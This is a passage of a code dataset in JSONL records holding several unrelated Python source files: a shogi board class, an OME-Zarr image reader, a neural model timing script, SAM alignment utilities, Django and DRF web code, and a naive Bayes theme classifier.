xyが0から8を外れたら終了\n\t\t\t\t\tif not 0<=x<=8 or not 0<=y<=8:\n\t\t\t\t\t\tcontinue\n\n\t\t\t\t\t# 空きか相手の駒なら追加\n\t\t\t\t\tindex = self.board[x][y]\n\t\t\t\t\tif index == -1 or self.piece[index].getTurn() != turn:\n\t\t\t\t\t\tpossible_move.append([x,y])\n\n\t\telse:\t\t# 持ち駒なら\n\t\t\tline = 0\n\t\t\txPawn = []\n\t\t\ttype = piece.getType()\n\t\t\tif (type==Type.pawn):\t# 歩なら先1列はダメ\n\t\t\t\txPawn = self.validPawn(turn)\t# 歩が存在している列を取得\n\t\t\t\tline = 1\n\t\t\telif (type==Type.lance):\t# 香なら先1列はダメ\n\t\t\t\tline = 1\n\t\t\telif (type==Type.knight):\t\t\t\t\t# 桂なら先2列はダメ\n\t\t\t\tline = 2\n\n\t\t\tfor x in range(9):\n\t\t\t\t# 2歩チェック\n\t\t\t\tif x in xPawn:\t# x列に歩が存在していたら対象外\n\t\t\t\t\tcontinue\n\t\t\t\tfor y in range(9):\n\t\t\t\t\tif self.board[x][y]==-1:\n\t\t\t\t\t\tif(turn):\t\t# プレイヤ判断\n\t\t\t\t\t\t\tif(y<line):\n\t\t\t\t\t\t\t\tcontinue\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\tif(y>8-line):\n\t\t\t\t\t\t\t\tcontinue\n\t\t\t\t\t\tpossible_move.append([x,y])\n\t\treturn possible_move\n\n\tdef setOne(self,v):\n\t\tres = -1 if v < 0 else 1 if v > 0 else 0\n\t\treturn res\n\n\tdef validPawn(self, turn):\n\t\tvalid = []\n\t\tfor p in self.piece:\t# 駒情報をループ\n\t\t\tvalid.append(p.isPawn(turn))\t# 駒のXをリストに入れる\n\t\tvalid = set(valid)\t\t# 重複を削除\n\t\treturn valid\n\n\tdef Dump(self):\n\t\tfor p in self.piece:\t# 駒情報をループ\n\t\t\ti = self.piece.index(p)\n\t\t\tp.Dump(i)\n\t\tself.DumpBoard(True)\n\t\tself.DumpBoard(False)\n\n\tdef DumpBoard(self,flg):\n\t\tw=3\n\t\tsp=' '*w\n\t\thf='-'*w\n\t\tprint(' '+sp+'0'+sp+'1'+sp+'2'+sp+'3'+sp+'4'+sp+'5'+sp+'6'+sp+'7'+sp+'8')\n\t\tfor y in range(9):\n\t\t\td=[0]*9\n\t\t\tform = ' '+str(y)+'|'\n\t\t\tform2 = ' +'\n\t\t\tfor x in range(9):\n\t\t\t\tform += '{'+str(x)+':>'+str(w)+'}|'\n\t\t\t\tform2 += '{0:>'+str(w)+'}+'\n\t\t\t\tif(flg):\n\t\t\t\t\td[x] = self.getPiece(x,y)\n\t\t\t\telse:\n\t\t\t\t\td[x] = self.board[x][y]\n\t\t\tprint(form2.format(hf))\n\t\t\tprint(form.format(d[0],d[1],d[2],d[3],d[4],d[5],d[6],d[7],d[8]))\n\t\tprint(form2.format(hf))\n\n\n\tdef pieceGet(self):\n\t\tres=[]\n\t\tfor p in self.piece:\t# 駒情報をループ\n\t\t\tres.append(p.getAll())\n\t\treturn(res)\n","repo_name":"Takeuchi-yuya/wshogi","sub_path":"Board.py","file_name":"Board.py","file_ext":"py","file_size_in_byte":7649,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"23391663496","text":"def convertFloat(param):\n return float(param)\n\ndef desTriangular(paramA, paramB, paramC):\n if abs(paramB - paramC) < paramA < paramB + paramC:\n return True\n else:\n return False\n\nentrada = input().split()\nentrada = list(map(convertFloat, entrada))\n\nif desTriangular(*entrada):\n perimetro = 0\n for i in entrada:\n perimetro += i\n print('Perimetro =', format(perimetro, '.1f'))\nelse:\n area = (entrada[0] + entrada[1])*entrada[2]/2\n print('Area =', format(area, '.1f'))","repo_name":"caionaweb/numb","sub_path":"14/uri-master/solutions/1 - Iniciante/1043.py","file_name":"1043.py","file_ext":"py","file_size_in_byte":509,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"31817736050","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nimport warnings\nfrom typing import Any, Dict, List, Optional, Tuple\n\nimport xarray as xr\nfrom fsspec.spec import AbstractFileSystem\n\nfrom .. import constants, exceptions, types\nfrom ..dimensions import DimensionNames\nfrom ..metadata import utils as metadata_utils\nfrom ..types import PhysicalPixelSizes\nfrom ..utils import io_utils\nfrom .reader import Reader\n\ntry:\n from ome_zarr.io import parse_url\n from ome_zarr.reader import Reader as ZarrReader\n\nexcept ImportError:\n raise ImportError(\n \"ome_zarr is required for this reader. \" \"Install with `pip install 'ome_zarr'`\"\n )\n\n###############################################################################\n\n\nclass OmeZarrReader(Reader):\n \"\"\"\n Wraps the ome-zarr-py API to provide the same aicsimageio Reader API but for\n OmeZarr images.\n\n Parameters\n ----------\n image: types.PathLike\n Path to image file to construct Reader for.\n fs_kwargs: Dict[str, Any]\n Any specific keyword arguments to pass down to the fsspec created filesystem.\n Default: {}\n \"\"\"\n\n @staticmethod\n def _is_supported_image(fs: AbstractFileSystem, path: str, **kwargs: Any) -> bool:\n try:\n ZarrReader(parse_url(path, mode=\"r\"))\n return True\n\n except AttributeError:\n return False\n\n def __init__(\n self,\n image: types.PathLike,\n fs_kwargs: Dict[str, Any] = {},\n ):\n # Expand details of provided image\n self._fs, self._path = io_utils.pathlike_to_fs(\n image,\n enforce_exists=False,\n fs_kwargs=fs_kwargs,\n )\n\n # Enforce valid image\n if not self._is_supported_image(self._fs, self._path):\n raise exceptions.UnsupportedFileFormatError(\n self.__class__.__name__, self._path\n )\n\n self._zarr = ZarrReader(parse_url(self._path, mode=\"r\")).zarr\n self._physical_pixel_sizes: Optional[PhysicalPixelSizes] = None\n self._multiresolution_level = 0\n self._channel_names: Optional[List[str]] = None\n\n @property\n def scenes(self) -> Tuple[str, ...]:\n if self._scenes is None:\n scenes = self._zarr.root_attrs[\"multiscales\"]\n\n # if (each scene has a name) and (that name is unique) use name.\n # otherwise generate scene names.\n if all(\"name\" in scene for scene in scenes) and (\n len({scene[\"name\"] for scene in scenes}) == len(scenes)\n ):\n self._scenes = tuple(str(scene[\"name\"]) for scene in scenes)\n else:\n self._scenes = tuple(\n metadata_utils.generate_ome_image_id(i)\n for i in range(len(self._zarr.root_attrs[\"multiscales\"]))\n )\n return self._scenes\n\n @property\n def physical_pixel_sizes(self) -> PhysicalPixelSizes:\n \"\"\"Return the physical pixel sizes of the image.\"\"\"\n if self._physical_pixel_sizes is None:\n try:\n z_size, y_size, x_size = OmeZarrReader._get_pixel_size(\n self._zarr,\n list(self.dims.order),\n self._current_scene_index,\n self._multiresolution_level,\n )\n except Exception as e:\n warnings.warn(f\"Could not parse zarr pixel size: {e}\")\n z_size, y_size, x_size = None, None, None\n\n self._physical_pixel_sizes = PhysicalPixelSizes(z_size, y_size, x_size)\n return self._physical_pixel_sizes\n\n @property\n def channel_names(self) -> Optional[List[str]]:\n if self._channel_names is None:\n try:\n self._channel_names = [\n str(channel[\"label\"])\n for channel in self._zarr.root_attrs[\"omero\"][\"channels\"]\n ]\n except KeyError:\n self._channel_names = super().channel_names\n return self._channel_names\n\n def _read_delayed(self) -> xr.DataArray:\n return self._xarr_format(delayed=True)\n\n def _read_immediate(self) -> xr.DataArray:\n return self._xarr_format(delayed=False)\n\n def _xarr_format(self, delayed: bool) -> xr.DataArray:\n image_data = self._zarr.load(str(self.current_scene_index))\n\n axes = self._zarr.root_attrs[\"multiscales\"][self.current_scene_index].get(\n \"axes\"\n )\n if axes:\n dims = [sub[\"name\"].upper() for sub in axes]\n else:\n dims = list(OmeZarrReader._guess_dim_order(image_data.shape))\n\n if not delayed:\n image_data = image_data.compute()\n\n coords = self._get_coords(\n dims,\n image_data.shape,\n scene=self.current_scene,\n channel_names=self.channel_names,\n )\n\n return xr.DataArray(\n image_data,\n dims=dims,\n coords=coords,\n attrs={constants.METADATA_UNPROCESSED: self._zarr.root_attrs},\n )\n\n @staticmethod\n def _get_coords(\n dims: List[str],\n shape: Tuple[int, ...],\n scene: str,\n channel_names: Optional[List[str]],\n ) -> Dict[str, Any]:\n\n coords: Dict[str, Any] = {}\n\n # Use dims for coord determination\n if DimensionNames.Channel in dims:\n # Generate channel names if no existing channel names\n if channel_names is None:\n coords[DimensionNames.Channel] = [\n metadata_utils.generate_ome_channel_id(image_id=scene, channel_id=i)\n for i in range(shape[dims.index(DimensionNames.Channel)])\n ]\n else:\n coords[DimensionNames.Channel] = channel_names\n\n return coords\n\n @staticmethod\n def _get_pixel_size(\n reader: ZarrReader, dims: List[str], series_index: int, resolution_index: int\n ) -> Tuple[Optional[float], Optional[float], Optional[float]]:\n\n # OmeZarr file may contain an additional set of \"coordinateTransformations\"\n # these coefficents are applied to all resolution levels.\n if (\n \"coordinateTransformations\"\n in reader.root_attrs[\"multiscales\"][series_index]\n ):\n universal_res_consts = reader.root_attrs[\"multiscales\"][series_index][\n \"coordinateTransformations\"\n ][0][\"scale\"]\n else:\n universal_res_consts = [1.0 for _ in range(len(dims))]\n\n coord_transform = reader.root_attrs[\"multiscales\"][series_index][\"datasets\"][\n resolution_index\n ][\"coordinateTransformations\"]\n\n spatial_coeffs = {}\n\n for dim in [\n DimensionNames.SpatialX,\n DimensionNames.SpatialY,\n DimensionNames.SpatialZ,\n ]:\n if dim in dims:\n dim_index = dims.index(dim)\n spatial_coeffs[dim] = (\n coord_transform[0][\"scale\"][dim_index]\n * universal_res_consts[dim_index]\n )\n else:\n spatial_coeffs[dim] = None\n\n return (\n spatial_coeffs[DimensionNames.SpatialZ],\n spatial_coeffs[DimensionNames.SpatialY],\n spatial_coeffs[DimensionNames.SpatialX],\n )\n","repo_name":"AllenCellModeling/aicsimageio","sub_path":"aicsimageio/readers/ome_zarr_reader.py","file_name":"ome_zarr_reader.py","file_ext":"py","file_size_in_byte":7350,"program_lang":"python","lang":"en","doc_type":"code","stars":173,"dataset":"github-code","pt":"69"} +{"seq_id":"4882612771","text":"#!/usr/bin/env python3\n# Author: Joel Ye\n\n# Run from scripts directory.\n# python timing_tests.py -l {1, 2, 6}\n\n#%%\nimport os\nimport os.path as osp\nimport argparse\nimport sys\nmodule_path = os.path.abspath(os.path.join('..'))\nif module_path not in sys.path:\n sys.path.append(module_path)\n\nimport time\nimport gc\ngc.disable()\n\nimport h5py\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nimport numpy as np\nimport torch\nfrom torch.utils import data\nimport torch.nn.functional as f\n\nfrom src.dataset import DATASET_MODES, SpikesDataset\nfrom src.run import prepare_config\nfrom src.runner import Runner\nfrom analyze_utils import make_runner, get_multiplicative_weights, init_by_ckpt\n\nprefix=\"arxiv\"\nbase=\"\"\nvariant = \"chaotic\"\n\nrun_type = \"eval\"\nexp_config = osp.join(\"../configs\", prefix, f\"{variant}.yaml\")\nif base != \"\":\n exp_config = [osp.join(\"../configs\", f\"{base}.yaml\"), exp_config]\n\ndef get_parser():\n parser = argparse.ArgumentParser()\n\n parser.add_argument(\n \"--num-layers\", \"-l\",\n type=int,\n required=True,\n )\n return parser\n\nparser = get_parser()\nargs = parser.parse_args()\nlayers = vars(args)[\"num_layers\"]\n\ndef make_runner_of_bins(bin_count=100, layers=None):\n config, _ = prepare_config(\n exp_config, run_type, \"\", [\n \"USE_TENSORBOARD\", False,\n \"SYSTEM.NUM_GPUS\", 1,\n ], suffix=prefix\n )\n config.defrost()\n config.MODEL.TRIAL_LENGTH = bin_count\n if layers is not None:\n config.MODEL.NUM_LAYERS = layers\n config.MODEL.LEARNABLE_POSITION = False # Not sure why...\n config.freeze()\n return Runner(config)\n\ndef time_length(trials=1300, bin_count=100, **kwargs):\n # 100 as upper bound\n runner = make_runner_of_bins(bin_count=bin_count, **kwargs)\n runner.logger.mute()\n runner.load_device()\n runner.max_spikes = 9 # from chaotic ckpt\n runner.num_neurons = 50 # from chaotic ckpt\n # runner.num_neurons = 202 # from chaotic ckpt\n runner.setup_model(runner.device)\n # whole_set = SpikesDataset(runner.config, runner.config.DATA.TRAIN_FILENAME, mode=\"trainval\")\n # whole_set.clip_spikes(runner.max_spikes)\n # # print(f\"Evaluating on {len(whole_set)} samples.\")\n # data_generator = data.DataLoader(whole_set,\n # batch_size=1, shuffle=False\n # )\n loop_times = []\n with torch.no_grad():\n probs = torch.full((1, bin_count, runner.num_neurons), 0.1)\n # probs = torch.full((1, bin_count, runner.num_neurons), 0.01)\n while len(loop_times) < trials:\n spikes = torch.bernoulli(probs).long()\n spikes = spikes.to(runner.device)\n start = time.time()\n runner.model(spikes, mask_labels=spikes, passthrough=True)\n delta = time.time() - start\n loop_times.append(delta)\n p_loop_times = np.array(loop_times) * 1e3\n print(f\"{p_loop_times.mean():.4f}ms for {bin_count} bins\")\n\n # A note about memory: It's a bit unclear why `empty_cache` is failing and memory still shows as used on torch, but the below diagnostic indicates the memory is not allocated, and will not cause OOM. So, a minor inconvenience for now.\n # device = runner.device\n # runner.model.to('cpu')\n # t = torch.cuda.get_device_properties(device).total_memory\n # c = torch.cuda.memory_cached(device)\n # a = torch.cuda.memory_allocated(device)\n # print(device, t, c, a)\n # del runner\n # t = torch.cuda.get_device_properties(device).total_memory\n # c = torch.cuda.memory_cached(device)\n # a = torch.cuda.memory_allocated(device)\n # print(device, t, c, a)\n # del data_generator\n # del whole_set\n # del spikes\n # torch.cuda.empty_cache()\n return p_loop_times\n\ntimes = []\nfor i in range(5, 15, 5):\n p_loop_times = time_length(trials=2000, bin_count=i, layers=layers)\n times.append(p_loop_times)\n\ntimes = np.stack(times, axis=0)\nnp.save(f'ndt_times_layer_{layers}', times)\n\n#%%\n\n","repo_name":"snel-repo/neural-data-transformers","sub_path":"scripts/fig_5_ndt_times.py","file_name":"fig_5_ndt_times.py","file_ext":"py","file_size_in_byte":3931,"program_lang":"python","lang":"en","doc_type":"code","stars":51,"dataset":"github-code","pt":"69"} +{"seq_id":"43749736696","text":"import os\n\nfrom tool import get_activity\n\n\ndef get_at(apk_path):\n package_name = get_activity.get_package_name(apk_path)\n version = get_activity.get_version(apk_path)\n soot_at_file = \"../result/\" + package_name + \"/soot_test_output_copy/storydroid_atgs/\" + os.path.basename(apk_path).split(\".apk\")[-2] + '.txt'\n ic3_at_file = \"../result/\" + package_name + \"/IC3/IC3_output/parsed_ic3/\" + package_name + '.txt'\n # 打开ic3与soot的at文件\n with open(soot_at_file, 'r') as f:\n lines_sootatg = f.readlines()\n with open(ic3_at_file, 'r') as f:\n lines_ic3atg = f.readlines()\n # 整合为一个at\n total_atg = set()\n for line in lines_sootatg:\n total_atg.add(line)\n for line in lines_ic3atg:\n total_atg.add(line)\n # save\n atg_dir = \"../result/\" + package_name + \"/static_atg/\"\n if not os.path.exists(atg_dir):\n os.makedirs(atg_dir)\n atg_file = atg_dir + 'static_atg.txt'\n with open(atg_file, 'w') as f:\n f.write('')\n with open(atg_file, 'a') as f:\n for item in total_atg:\n f.write(item)\n \n\n\nif __name__ == '__main__':\n get_at(\"../input_apk_test/gov.anzong.androidnga_3080.apk\")\n","repo_name":"LBY2001/Customized_Android_Automated_Test","sub_path":"static_analysis/get_at.py","file_name":"get_at.py","file_ext":"py","file_size_in_byte":1192,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"13708626389","text":"from django.contrib.auth import login\nfrom django.shortcuts import render, redirect\nfrom item.models import Category, Item\n\nfrom .forms import SignupForm\n\n# Create your views here.\n\ndef index(request):\n items = Item.objects.filter(is_sold=False)[0:10]\n categoies = Category.objects.all()\n \n return render(request, 'base/index.html', {\n 'items': items,\n 'categories': categoies,\n })\n\ndef contact(request):\n return render(request, 'base/contact.html')\n\ndef signup(request):\n if request.method == 'POST':\n form = SignupForm(request.POST)\n if form.is_valid():\n user = form.save()\n login(request, user)\n return redirect('/login/')\n else: \n form = SignupForm()\n \n return render(request, 'base/signup.html', {\n 'form': form,\n })\n","repo_name":"Calin224/trade_point","sub_path":"base/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":841,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"842135813","text":"from __future__ import annotations\nfrom itertools import groupby\nfrom copy import deepcopy\n\n\ndef join(samdict: list[dict]) -> list[dict]:\n \"\"\"Join splitted reads including large deletion or inversion.\n\n Args:\n samdict (list[dict]): dictionarized SAM\n\n Returns:\n list[dict]: SAM with joined splitted reads to single read\n \"\"\"\n sam_sorted = sorted(samdict, key=lambda x: [x[\"QNAME\"], x[\"POS\"]])\n sam_groupby = groupby(sam_sorted, key=lambda x: x[\"QNAME\"])\n sam_joined = []\n for _, alignments in sam_groupby:\n alignments = list(alignments)\n if len(alignments) == 1:\n sam_joined.append(alignments[0])\n continue\n for i, alignment in enumerate(alignments):\n # Determine the strand (strand_first) of the first read\n if i == 0:\n sam_template = deepcopy(alignment)\n if alignment[\"FLAG\"] == 0 or alignment[\"FLAG\"] == 2048:\n strand_first = 0\n else:\n strand_first = 1\n continue\n # If the strand of the next read is different from strand_first, lowercase it as an Inversion.\n if alignment[\"FLAG\"] == 0 or alignment[\"FLAG\"] == 2048:\n strand = 0\n else:\n strand = 1\n if strand_first != strand:\n if \"MIDSV\" in alignment:\n alignment[\"MIDSV\"] = alignment[\"MIDSV\"].lower()\n if \"CSSPLIT\" in alignment:\n alignment[\"CSSPLIT\"] = alignment[\"CSSPLIT\"].lower()\n # Remove microhomology\n previous_alignment = alignments[i - 1]\n previous_end = previous_alignment[\"POS\"] - 1\n if \"MIDSV\" in alignment:\n previous_end += len(previous_alignment[\"MIDSV\"].split(\",\"))\n else:\n previous_end += len(previous_alignment[\"CSSPLIT\"].split(\",\"))\n current_start = alignment[\"POS\"] - 1\n if \"CSSPLIT\" in alignment:\n previous_cssplit = previous_alignment[\"CSSPLIT\"].split(\",\")\n current_cssplit = alignment[\"CSSPLIT\"].split(\",\")\n if \"QSCORE\" in alignment:\n previous_qscore = previous_alignment[\"QSCORE\"].split(\",\")\n current_qscore = alignment[\"QSCORE\"].split(\",\")\n num_microhomology = 0\n for i in range(min(len(previous_cssplit), len(current_cssplit))):\n if previous_cssplit[-i:] == current_cssplit[:i]:\n if \"QSCORE\" in alignment and previous_qscore[-i:] == current_qscore[:i]:\n num_microhomology = i\n # Update CSSPLIT\n alignment[\"CSSPLIT\"] = \",\".join(current_cssplit[num_microhomology:])\n if \"QSCORE\" in alignment:\n alignment[\"QSCORE\"] = \",\".join(current_qscore[num_microhomology:])\n if \"MIDSV\" in alignment:\n current_midsv = alignment[\"MIDSV\"].split(\",\")\n alignment[\"MIDSV\"] = \",\".join(current_midsv[num_microhomology:])\n current_start += num_microhomology\n alignment[\"POS\"] = current_start + 1\n # Fill in the gap between the first read and the next read with a D (deletion)\n gap = current_start - previous_end\n if \"MIDSV\" in sam_template:\n sam_template[\"MIDSV\"] += \",D\" * gap\n if \"CSSPLIT\" in sam_template:\n sam_template[\"CSSPLIT\"] += \",N\" * gap\n if \"QSCORE\" in sam_template:\n sam_template[\"QSCORE\"] += \",-1\" * gap\n # Update sam_template\n if \"MIDSV\" in sam_template:\n sam_template[\"MIDSV\"] += \",\" + alignment[\"MIDSV\"]\n if \"CSSPLIT\" in sam_template:\n sam_template[\"CSSPLIT\"] += \",\" + alignment[\"CSSPLIT\"]\n if \"QSCORE\" in sam_template:\n sam_template[\"QSCORE\"] += \",\" + alignment[\"QSCORE\"]\n sam_joined.append(sam_template)\n return sam_joined\n\n\ndef pad(samdict: list[dict], sqheaders: dict) -> list[dict]:\n \"\"\"Padding left and right flanks as \"=\" in MIDSV, \"-1\" in QUAL\n\n Args:\n sam (list[dict]): dictionarized SAM\n sqheaders (dict): dictionary as {SQ:LN}\n\n Returns:\n list[dict]: dictionarized SAM with padding as \"N\" in MIDSV and CSSPLIT, and \"-1\" in QUAL\n \"\"\"\n samdict_padding = []\n for alignment in samdict:\n reflength = sqheaders[alignment[\"RNAME\"]]\n leftpad = max(0, alignment[\"POS\"] - 1)\n if \"MIDSV\" in alignment:\n rightpad = reflength - (len(alignment[\"MIDSV\"].split(\",\")) + leftpad)\n else:\n rightpad = reflength - (len(alignment[\"CSSPLIT\"].split(\",\")) + leftpad)\n rightpad = max(0, rightpad)\n leftpad_midsv, rightpad_midsv = \"N,\" * leftpad, \",N\" * rightpad\n leftpad_cssplit, rightpad_cssplit = \"N,\" * leftpad, \",N\" * rightpad\n leftpad_qscore, rightpad_qscore = \"-1,\" * leftpad, \",-1\" * rightpad\n if \"MIDSV\" in alignment:\n alignment[\"MIDSV\"] = leftpad_midsv + alignment[\"MIDSV\"] + rightpad_midsv\n if \"CSSPLIT\" in alignment:\n alignment[\"CSSPLIT\"] = leftpad_cssplit + alignment[\"CSSPLIT\"] + rightpad_cssplit\n if \"QSCORE\" in alignment:\n alignment[\"QSCORE\"] = leftpad_qscore + alignment[\"QSCORE\"] + rightpad_qscore\n samdict_padding.append(alignment)\n return samdict_padding\n\n\ndef remove_different_length(samdict: list[dict], sqheaders: dict) -> list[dict]:\n \"\"\"remove different sequence length of the reference\n\n Args:\n sam (list[dict]): dictionarized SAM\n sqheaders (dict): dictionary as {SQ:LN}\n\n Returns:\n list[dict]: filtered SAM by different sequence length of the reference\n \"\"\"\n samdict_filtered = []\n for alignment in samdict:\n reflength = sqheaders[alignment[\"RNAME\"]]\n if \"MIDSV\" in alignment:\n if len(alignment[\"MIDSV\"].split(\",\")) != reflength:\n continue\n if \"CSSPLIT\" in alignment:\n if len(alignment[\"CSSPLIT\"].split(\",\")) != reflength:\n continue\n samdict_filtered.append(alignment)\n return samdict_filtered\n\n\ndef select(samdict: list[dict], keep: set(str) = set()) -> list[dict]:\n \"\"\"Select QNAME, RNAME, MIDSV, CSSPLIT and QSCORE\n\n Args:\n samdict (list[dict]): dictionarized SAM\n keep (set(str), optional): Subset of {'FLAG', 'POS', 'SEQ', 'QUAL', 'CIGAR', 'CSTAG'} to keep. Defaults to set().\n Returns:\n list[dict]: dictionarized SAM of QNAME, RNAME, MIDSV, CSSPLIT and QSCORE\n \"\"\"\n selected = []\n for m in samdict:\n delkeys = {\"FLAG\", \"POS\", \"SEQ\", \"QUAL\", \"CIGAR\", \"CSTAG\"} - keep\n for key in delkeys:\n m.pop(key)\n selected.append(m)\n return selected\n","repo_name":"akikuno/midsv","sub_path":"src/midsv/proofread.py","file_name":"proofread.py","file_ext":"py","file_size_in_byte":6876,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"69"} +{"seq_id":"74785371740","text":"\"\"\"\nBlog Module Serializer\n\"\"\"\nfrom rest_framework import serializers\nfrom taggit.serializers import TagListSerializerField, TaggitSerializer\n\nfrom blog import models\nfrom cafe.models import Bartender, Cafe\n\n\nclass CreateBlogSerializer(TaggitSerializer, serializers.ModelSerializer):\n \"\"\"Create Blog Serializer\"\"\"\n\n tags = TagListSerializerField()\n\n class Meta:\n model = models.Blog\n fields = [\n \"cafe_id\",\n \"title\",\n \"slug\",\n \"short_desc\",\n \"desc\",\n \"image\",\n \"image_alt\",\n \"image_title\",\n \"publish_date\",\n \"tags\",\n ]\n\n def validate(self, attrs):\n cafe_id = attrs.get(\"cafe_id\")\n user = self.context.get(\"request\").user\n\n try:\n if user.cafe.id != cafe_id:\n print(user.cafe.id)\n msg = \"شناسه کافه اشتباه هست\"\n raise serializers.ValidationError(msg)\n except:\n cafe = Cafe.objects.filter(id=cafe_id).first()\n is_bartender = Bartender.objects.filter(\n user=user, cafe=cafe, is_active=True\n ).exists()\n if not is_bartender:\n msg = \"شما قادر به ثبت بلاگ نمی باشید\"\n raise serializers.ValidationError(msg)\n\n attrs[\"is_cafe\"] = True\n\n return attrs\n\n\nclass UpdateBlogSerializer(TaggitSerializer, serializers.ModelSerializer):\n \"\"\"Update Blog Serializer\"\"\"\n\n tags = TagListSerializerField()\n\n class Meta:\n model = models.Blog\n fields = [\n \"title\",\n \"slug\",\n \"short_desc\",\n \"desc\",\n \"image\",\n \"image_alt\",\n \"image_title\",\n \"publish_date\",\n \"tags\",\n ]\n\n\nclass BlogSerializer(CreateBlogSerializer):\n \"\"\"Blog Serializer\"\"\"\n\n class Meta(CreateBlogSerializer.Meta):\n fields = \"__all__\"\n\n def to_representation(self, instance):\n datas = super().to_representation(instance)\n try:\n cafe = Cafe.objects.filter(id=instance.cafe_id).first()\n datas[\"cafe\"] = {\n \"title\": cafe.persian_title,\n \"code\": cafe.code,\n \"owner\": cafe.owner.fullName,\n }\n except:\n None\n return datas\n\n\nclass BlogListSerializer(UpdateBlogSerializer):\n \"\"\"Blog List Serializer\"\"\"\n\n class Meta(UpdateBlogSerializer.Meta):\n \"\"\"Meta Class\"\"\"\n\n\nclass LatestBlogSerializer(serializers.ModelSerializer):\n \"\"\"Latest Blog Serializer\"\"\"\n\n class Meta:\n model = models.Blog\n fields = [\"title\", \"slug\"]\n","repo_name":"Hamid-Ba/Iran-Cafe","sub_path":"blog/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":2708,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"5750231923","text":"import csv, pprint, json\nimport ssl, urllib.request\nimport os, datetime, re, copy\nimport math, random\nfrom math import sqrt, exp, pi\nimport datetime\nfrom sklearn.preprocessing import MinMaxScaler\nfrom sklearn.naive_bayes import MultinomialNB, GaussianNB, ComplementNB, BernoulliNB\nimport pymongo\nimport numpy as np\nimport sys\nsys.path.insert(0, '../utils')\nfrom fileWritingUtil import removeAndWriteFile\nfrom measurementsUtil import accuracy, confusionMatrix, recallScore, precisionScore\nfrom naiveBayesUtil import dataPreparationToThreadsScores, cutoffKeys, computeJaccardSimilarityScore\n\nwith open('../config/url.json') as json_data_file:\n URLCONFIG = json.load(json_data_file)\n\nwith open('../config/database.json') as json_data_file:\n DBCONFIG = json.load(json_data_file)\n dsdb = DBCONFIG[\"mikelab\"]\n client = pymongo.MongoClient(dsdb[\"host\"],\n 27017,\n username=dsdb[\"username\"],\n password=dsdb[\"password\"],\n authSource=dsdb[\"authSource\"] )\n db = client[dsdb[\"db\"]]\n\nallThemeList = {\n 'Mountain':['Mountain'], 'Waterfall':['Waterfall'], \n 'Sea':['Sea'], \n 'Religion':['Religion'], \n 'Historical':['Historical'], \n 'Entertainment':['Museum','Zoo','Amusement','Aquariam','Casino','Adventure'], \n 'Festival':['Festival','Exhibition'], \n 'Eating':['Eating'],\n 'NightLifeStyle':['NightFood', 'Pub', 'Bar'], \n 'Photography':['Photography'],\n 'Sightseeing':['Sightseeing']\n}\n\ndef selectInterval(score):\n return [score == 0, score > 0 and score < 1/3, score >= 1/3 and score < 2/3, score >= 2/3]\n\ndef applyInterval(threadsScores, threadTheme, minmaxScaleDict, dataType):\n #! 5 Naive Bayes model - format inpit form\n print(\"----------Naive Bayes model - create interval model----------\")\n #! Interval\n threadIntervalList = []\n countInterval = {}\n for idx, thread in enumerate(threadsScores):\n topicID = thread[\"topic_id\"]\n threadInput = { 'topic_id': topicID }\n currentThreadTheme = threadTheme[topicID] #['Mountain','Sea']\n print(idx,\"<-->\",topicID, currentThreadTheme)\n \n countInterval[topicID] = [0,0,0,0]\n threadInterval = [ interval for score in minmaxScaleDict.values() for interval in selectInterval(score[idx])]\n for score in minmaxScaleDict.values():\n interval = selectInterval(score[idx])\n trueIndex = interval.index(True)\n countInterval[topicID][trueIndex] += 1\n \n threadInput['word_interval'] = threadInterval\n\n #!! add theme\n threadInput['theme'] = []\n for idx, theme in enumerate(allThemeList):\n # print(\"current Theme:\", theme)\n memberTheme = allThemeList[theme]\n if any([mt in currentThreadTheme for mt in memberTheme]):\n # print(\"append:\",theme)\n threadInput['theme'].append(theme)\n \n threadIntervalList.append(threadInput)\n\n removeAndWriteFile('5-3-'+dataType+'-oneTheme-interval.json', threadIntervalList)\n removeAndWriteFile('5-4-'+dataType+'-count-interval.json', countInterval)\n return threadIntervalList\n \n #! insert model to mongo !FIXME error because exceed limit size of 16MB\n # model_col = db[\"naive_bayes_maxminscale\"]\n # modelToInsert = [ \n # {'_id':key, \n # 'topic_ids':themeDetail['topic_ids'], \n # 'words_count':themeDetail['words_maxminscale']} \n # for key, themeDetail in themeModels.items()]\n # result = model_col.insert_many(modelToInsert)\n\n# create list of words of all documents\ndef initializeWordCount(threadsScores):\n wordCount = {}\n for thread in threadsScores:\n for word in thread['significant_words']:\n if word['key'] not in wordCount.keys():\n wordCount[word['key']] = []\n return wordCount\n\ndef createScoredModel(threadsScores, threadTheme, dataType):\n #! 5. calculate maxmin scale\n print(\"----------Naive Bayes-----------\")\n if dataType == 'train': #oneTheme\n minmaxScaleDict = initializeWordCount(threadsScores)\n else: #test\n with open('./5-0-train-oneTheme-words.json') as oneThemeWords_file:\n oneThemeWords = json.load(oneThemeWords_file)\n minmaxScaleDict = {key: list() for key in oneThemeWords}\n # print(minmaxScaleDict)\n\n for idx, thread in enumerate(threadsScores):\n topicID = thread[\"topic_id\"]\n currentThreadTheme = threadTheme[topicID] #['Mountain','Sea']\n print(idx,\"<->\",topicID)\n \n #! word appear\n for word in thread['significant_words']:\n key = word['key']\n if key in minmaxScaleDict:\n minmaxScaleDict[key].append(word['count'])\n # print(key, minmaxScaleDict[key])\n\n #!! word_list has -> thread word not have\n for key, val in minmaxScaleDict.items():\n countLength = len(val)\n # print(idx, key, countLength, (idx+1)-countLength)\n minmaxScaleDict[key].extend(np.zeros((idx+1)-countLength).tolist())\n \n removeAndWriteFile('5-1-'+dataType+'-count-before-maxmin.json', minmaxScaleDict)\n\n #! calculate maxmin-scale\n for key, countVal in minmaxScaleDict.items():\n scaler = MinMaxScaler()\n 